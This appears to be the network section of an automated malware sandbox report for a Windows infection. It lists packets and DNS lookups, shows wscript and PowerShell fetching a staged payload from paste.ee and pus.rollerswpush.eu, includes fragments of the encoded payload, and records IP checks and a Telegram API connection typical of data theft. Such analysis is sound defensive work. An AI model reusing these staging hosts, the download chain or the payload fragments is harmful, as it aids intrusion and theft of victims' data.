Nov 12, 2024 08:06:27.700294018 CET	80	49840	132.226.8.169	192.168.2.7
Nov 12, 2024 08:06:28.584932089 CET	80	49840	132.226.8.169	192.168.2.7
Nov 12, 2024 08:06:28.586225986 CET	49846	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:28.586251974 CET	443	49846	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:28.586324930 CET	49846	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:28.586594105 CET	49846	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:28.586605072 CET	443	49846	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:28.696338892 CET	49840	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:29.392308950 CET	443	49846	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:29.394622087 CET	49846	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:29.394644022 CET	443	49846	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:29.535229921 CET	443	49846	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:29.535295963 CET	443	49846	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:29.535356045 CET	49846	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:29.535816908 CET	49846	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:29.538767099 CET	49840	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:29.539853096 CET	49852	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:29.544796944 CET	80	49840	132.226.8.169	192.168.2.7
Nov 12, 2024 08:06:29.544812918 CET	80	49852	132.226.8.169	192.168.2.7
Nov 12, 2024 08:06:29.544893026 CET	49852	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:29.544945955 CET	49840	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:29.544982910 CET	49852	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:29.549762964 CET	80	49852	132.226.8.169	192.168.2.7
Nov 12, 2024 08:06:30.494061947 CET	80	49852	132.226.8.169	192.168.2.7
Nov 12, 2024 08:06:30.495265961 CET	49858	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:30.495301008 CET	443	49858	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:30.495398045 CET	49858	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:30.495618105 CET	49858	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:30.495630026 CET	443	49858	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:30.696343899 CET	49852	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:31.101665020 CET	443	49858	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:31.103329897 CET	49858	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:31.103365898 CET	443	49858	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:31.244101048 CET	443	49858	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:31.244170904 CET	443	49858	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:31.244210958 CET	49858	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:31.244620085 CET	49858	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:31.249636889 CET	49864	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:31.254512072 CET	80	49864	132.226.8.169	192.168.2.7
Nov 12, 2024 08:06:31.254568100 CET	49864	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:31.254669905 CET	49864	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:31.259433985 CET	80	49864	132.226.8.169	192.168.2.7
Nov 12, 2024 08:06:33.382122040 CET	80	49864	132.226.8.169	192.168.2.7
Nov 12, 2024 08:06:33.383388042 CET	49873	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:33.383436918 CET	443	49873	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:33.383512020 CET	49873	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:33.383780003 CET	49873	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:33.383793116 CET	443	49873	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:33.600122929 CET	80	49864	132.226.8.169	192.168.2.7
Nov 12, 2024 08:06:33.600272894 CET	49864	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:34.021147966 CET	443	49873	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:34.022484064 CET	49873	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:34.022511005 CET	443	49873	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:34.168430090 CET	443	49873	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:34.168498993 CET	443	49873	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:34.168553114 CET	49873	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:34.168915033 CET	49873	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:34.172029018 CET	49864	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:34.173034906 CET	49879	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:34.177440882 CET	80	49864	132.226.8.169	192.168.2.7
Nov 12, 2024 08:06:34.177490950 CET	49864	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:34.178033113 CET	80	49879	132.226.8.169	192.168.2.7
Nov 12, 2024 08:06:34.178134918 CET	49879	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:34.178183079 CET	49879	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:34.182980061 CET	80	49879	132.226.8.169	192.168.2.7
Nov 12, 2024 08:06:35.406083107 CET	80	49879	132.226.8.169	192.168.2.7
Nov 12, 2024 08:06:35.407185078 CET	49887	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:35.407247066 CET	443	49887	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:35.407301903 CET	49887	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:35.407819033 CET	49887	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:35.407830000 CET	443	49887	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:35.446382999 CET	49879	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:36.014028072 CET	443	49887	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:36.032782078 CET	49887	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:36.032807112 CET	443	49887	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:36.170450926 CET	443	49887	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:36.170516968 CET	443	49887	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:36.170595884 CET	49887	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:36.171631098 CET	49887	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:36.538839102 CET	49879	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:36.539659023 CET	49891	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:36.544020891 CET	80	49879	132.226.8.169	192.168.2.7
Nov 12, 2024 08:06:36.544096947 CET	49879	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:36.544475079 CET	80	49891	132.226.8.169	192.168.2.7
Nov 12, 2024 08:06:36.544533968 CET	49891	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:36.544666052 CET	49891	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:36.549469948 CET	80	49891	132.226.8.169	192.168.2.7
Nov 12, 2024 08:06:37.462599993 CET	80	49891	132.226.8.169	192.168.2.7
Nov 12, 2024 08:06:37.463934898 CET	49897	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:37.463973045 CET	443	49897	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:37.464065075 CET	49897	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:37.464313030 CET	49897	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:37.464325905 CET	443	49897	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:37.602732897 CET	49891	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:38.062443018 CET	443	49897	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:38.066401005 CET	49897	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:38.066416025 CET	443	49897	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:38.200275898 CET	443	49897	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:38.200359106 CET	443	49897	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:38.200443029 CET	49897	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:38.200901031 CET	49897	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:38.206130028 CET	49891	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:38.207254887 CET	49903	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:38.211734056 CET	80	49891	132.226.8.169	192.168.2.7
Nov 12, 2024 08:06:38.211790085 CET	49891	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:38.212137938 CET	80	49903	132.226.8.169	192.168.2.7
Nov 12, 2024 08:06:38.212198973 CET	49903	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:38.212413073 CET	49903	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:38.217197895 CET	80	49903	132.226.8.169	192.168.2.7
Nov 12, 2024 08:06:40.062346935 CET	80	49903	132.226.8.169	192.168.2.7
Nov 12, 2024 08:06:40.063452005 CET	49914	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:40.063498020 CET	443	49914	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:40.063563108 CET	49914	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:40.063836098 CET	49914	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:40.063848972 CET	443	49914	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:40.196445942 CET	49903	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:40.668504953 CET	443	49914	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:40.670150995 CET	49914	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:40.670202017 CET	443	49914	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:40.812513113 CET	443	49914	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:40.812589884 CET	443	49914	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:40.812645912 CET	49914	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:40.813059092 CET	49914	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:40.816715956 CET	49903	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:40.819756031 CET	49920	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:40.822109938 CET	80	49903	132.226.8.169	192.168.2.7
Nov 12, 2024 08:06:40.822151899 CET	49903	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:40.824610949 CET	80	49920	132.226.8.169	192.168.2.7
Nov 12, 2024 08:06:40.824687004 CET	49920	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:40.824774981 CET	49920	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:40.829644918 CET	80	49920	132.226.8.169	192.168.2.7
Nov 12, 2024 08:06:41.705883026 CET	80	49920	132.226.8.169	192.168.2.7
Nov 12, 2024 08:06:41.707434893 CET	49926	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:41.707494974 CET	443	49926	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:41.707581043 CET	49926	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:41.707825899 CET	49926	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:41.707845926 CET	443	49926	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:41.758963108 CET	49920	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:42.312830925 CET	443	49926	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:42.314728975 CET	49926	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:42.314760923 CET	443	49926	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:42.453706026 CET	443	49926	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:42.453773975 CET	443	49926	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:42.453839064 CET	49926	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:42.454299927 CET	49926	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:42.490541935 CET	49920	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:42.495702982 CET	80	49920	132.226.8.169	192.168.2.7
Nov 12, 2024 08:06:42.495768070 CET	49920	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:42.498408079 CET	49932	443	192.168.2.7	149.154.167.220
Nov 12, 2024 08:06:42.498435020 CET	443	49932	149.154.167.220	192.168.2.7
Nov 12, 2024 08:06:42.498491049 CET	49932	443	192.168.2.7	149.154.167.220
Nov 12, 2024 08:06:42.499074936 CET	49932	443	192.168.2.7	149.154.167.220
Nov 12, 2024 08:06:42.499085903 CET	443	49932	149.154.167.220	192.168.2.7
Nov 12, 2024 08:06:43.324204922 CET	443	49932	149.154.167.220	192.168.2.7
Nov 12, 2024 08:06:43.324361086 CET	49932	443	192.168.2.7	149.154.167.220
Nov 12, 2024 08:06:43.356794119 CET	49932	443	192.168.2.7	149.154.167.220
Nov 12, 2024 08:06:43.356817961 CET	443	49932	149.154.167.220	192.168.2.7
Nov 12, 2024 08:06:43.357067108 CET	443	49932	149.154.167.220	192.168.2.7
Nov 12, 2024 08:06:43.377578974 CET	49932	443	192.168.2.7	149.154.167.220
Nov 12, 2024 08:06:43.423336029 CET	443	49932	149.154.167.220	192.168.2.7
Nov 12, 2024 08:06:43.611594915 CET	443	49932	149.154.167.220	192.168.2.7
Nov 12, 2024 08:06:43.611717939 CET	443	49932	149.154.167.220	192.168.2.7
Nov 12, 2024 08:06:43.611819029 CET	49932	443	192.168.2.7	149.154.167.220
Nov 12, 2024 08:06:43.633655071 CET	49932	443	192.168.2.7	149.154.167.220
Nov 12, 2024 08:06:50.025016069 CET	49852	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:50.286457062 CET	49972	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:50.291460037 CET	80	49972	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:50.294408083 CET	49972	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:50.294923067 CET	49972	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:50.299727917 CET	80	49972	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:50.300754070 CET	49972	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:50.305562973 CET	80	49972	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:50.305680990 CET	80	49972	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:51.170633078 CET	80	49972	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:51.227955103 CET	49972	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:57.209669113 CET	80	49972	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:57.209830046 CET	49972	80	192.168.2.7	141.98.10.88

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 12, 2024 08:05:53.520967960 CET	62023	53	192.168.2.7	1.1.1.1
Nov 12, 2024 08:05:53.529088974 CET	53	62023	1.1.1.1	192.168.2.7
Nov 12, 2024 08:05:58.532782078 CET	49446	53	192.168.2.7	1.1.1.1
Nov 12, 2024 08:05:58.761178017 CET	53	49446	1.1.1.1	192.168.2.7
Nov 12, 2024 08:06:20.509097099 CET	53193	53	192.168.2.7	1.1.1.1
Nov 12, 2024 08:06:20.530637980 CET	53	53193	1.1.1.1	192.168.2.7
Nov 12, 2024 08:06:22.593112946 CET	59407	53	192.168.2.7	1.1.1.1
Nov 12, 2024 08:06:22.600182056 CET	53	59407	1.1.1.1	192.168.2.7
Nov 12, 2024 08:06:25.675838947 CET	55013	53	192.168.2.7	1.1.1.1
Nov 12, 2024 08:06:25.682666063 CET	53	55013	1.1.1.1	192.168.2.7
Nov 12, 2024 08:06:42.490468025 CET	65157	53	192.168.2.7	1.1.1.1
Nov 12, 2024 08:06:42.497832060 CET	53	65157	1.1.1.1	192.168.2.7
Nov 12, 2024 08:06:50.245258093 CET	55039	53	192.168.2.7	1.1.1.1
Nov 12, 2024 08:06:50.278567076 CET	53	55039	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 12, 2024 08:05:53.520967960 CET	192.168.2.7	1.1.1.1	0xb27e	Standard query (0)	paste.ee	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:05:58.532782078 CET	192.168.2.7	1.1.1.1	0x1696	Standard query (0)	1017.filemail.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:06:20.509097099 CET	192.168.2.7	1.1.1.1	0x2f9	Standard query (0)	pus.rollerswpush.eu	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:06:22.593112946 CET	192.168.2.7	1.1.1.1	0x196d	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:06:25.675838947 CET	192.168.2.7	1.1.1.1	0x8ead	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:06:42.490468025 CET	192.168.2.7	1.1.1.1	0xe0d1	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:06:50.245258093 CET	192.168.2.7	1.1.1.1	0xdb9e	Standard query (0)	sws.swpushroller.eu	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 12, 2024 08:05:53.529088974 CET	1.1.1.1	192.168.2.7	0xb27e	No error (0)	paste.ee		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:05:53.529088974 CET	1.1.1.1	192.168.2.7	0xb27e	No error (0)	paste.ee		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:05:58.761178017 CET	1.1.1.1	192.168.2.7	0x1696	No error (0)	1017.filemail.com	ip.1017.filemail.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 08:05:58.761178017 CET	1.1.1.1	192.168.2.7	0x1696	No error (0)	ip.1017.filemail.com		142.215.209.78	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:06:20.530637980 CET	1.1.1.1	192.168.2.7	0x2f9	No error (0)	pus.rollerswpush.eu		141.98.10.88	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:06:22.600182056 CET	1.1.1.1	192.168.2.7	0x196d	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 08:06:22.600182056 CET	1.1.1.1	192.168.2.7	0x196d	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:06:22.600182056 CET	1.1.1.1	192.168.2.7	0x196d	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:06:22.600182056 CET	1.1.1.1	192.168.2.7	0x196d	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:06:22.600182056 CET	1.1.1.1	192.168.2.7	0x196d	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:06:22.600182056 CET	1.1.1.1	192.168.2.7	0x196d	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:06:25.682666063 CET	1.1.1.1	192.168.2.7	0x8ead	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:06:25.682666063 CET	1.1.1.1	192.168.2.7	0x8ead	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:06:42.497832060 CET	1.1.1.1	192.168.2.7	0xe0d1	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Nov 12, 2024 08:06:50.278567076 CET	1.1.1.1	192.168.2.7	0xdb9e	No error (0)	sws.swpushroller.eu		141.98.10.88	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

paste.ee

1017.filemail.com

reallyfreegeoip.org

api.telegram.org

pus.rollerswpush.eu

checkip.dyndns.org

sws.swpushroller.eu

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49700	188.114.97.3	80	2608	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 08:05:53.539895058 CET	173	OUT	GET /d/LOToW HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Language: en-CH User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: paste.ee
Nov 12, 2024 08:05:54.229721069 CET	975	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 12 Nov 2024 07:05:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://paste.ee/d/LOToW cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XEn64udpq911Lz3%2BETg%2Fc8ysPMqeuM5UG0RD1RuoKoYWLNYiKiDW68tz3ohoFJlCAu4ICRq5gXa8YVnEd2NUbXeyB%2FWzRLf58Pj1oOBuD2JFFyATH0myBGRr3g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e14ad20fd3f477e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1049&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=173&delivery_rate=0&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 62 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: b2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49798	141.98.10.88	80	3232	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 08:06:20.536159039 CET	82	OUT	GET /olk/SWSSL.txt HTTP/1.1 Host: pus.rollerswpush.eu Connection: Keep-Alive
Nov 12, 2024 08:06:21.418231964 CET	250	IN	HTTP/1.1 200 OK etag: "43800-6731067e-a81e3;;;" last-modified: Sun, 10 Nov 2024 19:16:14 GMT content-type: text/plain content-length: 276480 accept-ranges: bytes date: Tue, 12 Nov 2024 07:06:21 GMT server: LiteSpeed connection: Keep-Alive
Nov 12, 2024 08:06:21.418323040 CET	1236	IN	Data Raw: 45 52 55 51 51 64 6b 54 4a 52 45 52 42 42 46 57 59 64 6b 54 4a 52 45 52 42 42 46 55 4b 30 67 50 35 78 6d 59 74 56 32 63 7a 46 32 4c 38 6f 51 44 4b 30 67 50 74 30 43 49 67 6f 51 44 2b 6b 33 59 75 56 47 5a 75 56 47 63 6c 52 32 4c 38 41 43 49 4b 30 Data Ascii: ERUQQdkTJRERBBFWYdkTJRERBBFUK0gP5xmYtV2czF2L8oQDK0gPt0CIgoQD+k3YuVGZuVGclR2L8ACIK0gP5xmYtV2czFEduVGZuVGclR2L8ACIgAiCN4zLgACIgACIgAiCNIiKi0TZnFWdn5WYsBCIgACIgACIgAiCNIiZkFjZjNGN0EDN2IWN5UjNi0jblt2bUlXZLNWasJWdwBCIgACIgACIgAiCNIiKi0TZyVHdjVGdph2
Nov 12, 2024 08:06:21.418358088 CET	212	IN	Data Raw: 6c 35 47 49 30 39 6d 62 67 38 47 5a 67 51 6d 62 68 42 53 5a 79 46 32 64 68 31 53 53 51 52 45 49 35 78 47 62 68 4e 57 61 30 46 57 62 76 52 58 64 68 42 53 5a 79 46 47 49 7a 35 32 62 70 52 58 59 6a 6c 47 62 77 42 58 59 67 6b 69 52 51 64 46 4b 67 34 Data Ascii: l5GI09mbg8GZgQmbhBSZyF2dh1SSQREI5xGbhNWa0FWbvRXdhBSZyFGIz52bpRXYjlGbwBXYgkiRQdFKg42bpRXYk5WdvZEIu9Wa0FGduV2clJHUgM3dvRmbpdFIuMXSQREIgACIgACIK0gclh2ZphGI0FGIzd3bk5WaXBSeiBCZlxWYjNHI5xGbhNWa0FWbvRXdhBSZiBCdv5GIsxWa
Nov 12, 2024 08:06:21.418368101 CET	1236	IN	Data Raw: 33 42 43 5a 75 46 47 49 6c 4a 58 59 33 46 57 4c 4a 42 46 52 67 4d 58 61 67 34 32 62 70 52 58 59 6a 6c 47 62 77 42 58 59 67 55 47 61 30 42 43 64 68 68 47 64 67 4d 58 5a 30 46 32 59 70 52 6d 62 4a 42 53 4c 74 45 43 50 67 41 69 43 4e 6f 51 44 2b 6b Data Ascii: 3BCZuFGIlJXY3FWLJBFRgMXag42bpRXYjlGbwBXYgUGa0BCdhhGdgMXZ0F2YpRmbJBSLtECPgAiCNoQD+kHdpxWailGdhBXbvN2L8ACIK0gPu9Wa0F2YpxGcwF2L8ACIgAiCNoQD+0SL+8CIi0XY5EWNxEGM1QmZ4QTL1EWOi1COlZGNtMjYmJWLyETY3YGMlhzei0DZJByUPRWZ0J3bwBXdzxTLtECPgACIgACIK0gPt0CIwED
Nov 12, 2024 08:06:21.418427944 CET	1236	IN	Data Raw: 74 56 47 61 6a 4e 6e 4f 75 4a 58 64 69 30 7a 63 75 78 57 62 34 42 53 65 30 6c 47 62 70 4a 57 61 30 46 47 63 74 39 32 59 38 41 43 49 4b 30 67 43 4e 34 7a 62 6d 35 57 53 30 4e 58 64 79 52 33 4c 38 41 43 49 4b 30 67 50 35 52 58 61 79 56 33 59 6c 4e Data Ascii: tVGajNnOuJXdi0zcuxWb4BSe0lGbpJWa0FGct92Y8ACIK0gCN4zbm5WS0NXdyR3L8ACIK0gP5RXayV3YlN3L8ACIgAiCN4zcldWZslmdpJHUkVGdzVWdxVmcvwDIgACIgAiCN4zLgISZzxWYmJSPzNXZjNWQpVHIiIXZr9mdul0chJSPsVmdlxGIsVmdlxkbvlGd1NWZ4VEZlR3clVXclJHPgACIgACIgAiCN4TLtACIgACIgAC
Nov 12, 2024 08:06:21.418442011 CET	1236	IN	Data Raw: 67 41 43 49 67 6f 51 44 2b 49 69 4d 32 35 53 62 7a 46 6d 4f 74 39 32 59 74 51 6e 5a 76 4e 33 62 79 4e 57 61 74 31 79 63 68 31 57 5a 6f 4e 32 63 36 34 6d 63 31 4a 53 50 7a 35 47 62 74 68 48 49 76 5a 6d 62 4a 52 33 63 31 4a 48 64 38 41 43 49 4b 30 Data Ascii: gACIgoQD+IiM25SbzFmOt92YtQnZvN3byNWat1ych1WZoN2c64mc1JSPz5GbthHIvZmbJR3c1JHd8ACIK0gPvICcwFmLu9Wa0F2YpxGcwFUeNJSPl1WYuBiIw4CMuAjLxISPu9WazJXZ2BSe0lGduVGZJlHbi1WZzNXY8ACIK0gPiEjdu02chpTbvNWL0Z2bz9mcjlWbtMXYtVGajNnOuJXdi0zcuxWb4BiIw4SMi0jbvl2cyVm
Nov 12, 2024 08:06:21.418462038 CET	636	IN	Data Raw: 4a 42 51 5a 41 77 47 41 70 42 67 52 41 49 48 41 68 42 67 56 41 45 41 41 41 41 41 52 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 2f 41 41 41 41 41 41 41 42 41 41 41 41 41 41 41 41 41 Data Ascii: JBQZAwGApBgRAIHAhBgVAEAAAAARAAAAAAAAAAAAAAAAAAAABAAAAQAAAAAAAAAA/AAAAAAABAAAAAAAAAQAAAAABAAA+/OB9CAAAAAAPBgRA4EAJBwXA4EAPBQSAMFASBQRAYFAfBwUAYFAAAANDwh85xLvDPYD52x+wctzAd28xk33kn4rUOIYL3AV7VVZiEEUe4mbMDxs21hxy+h6EnbgejAlKVlrbcNgi8aE4GabRQvhYRq
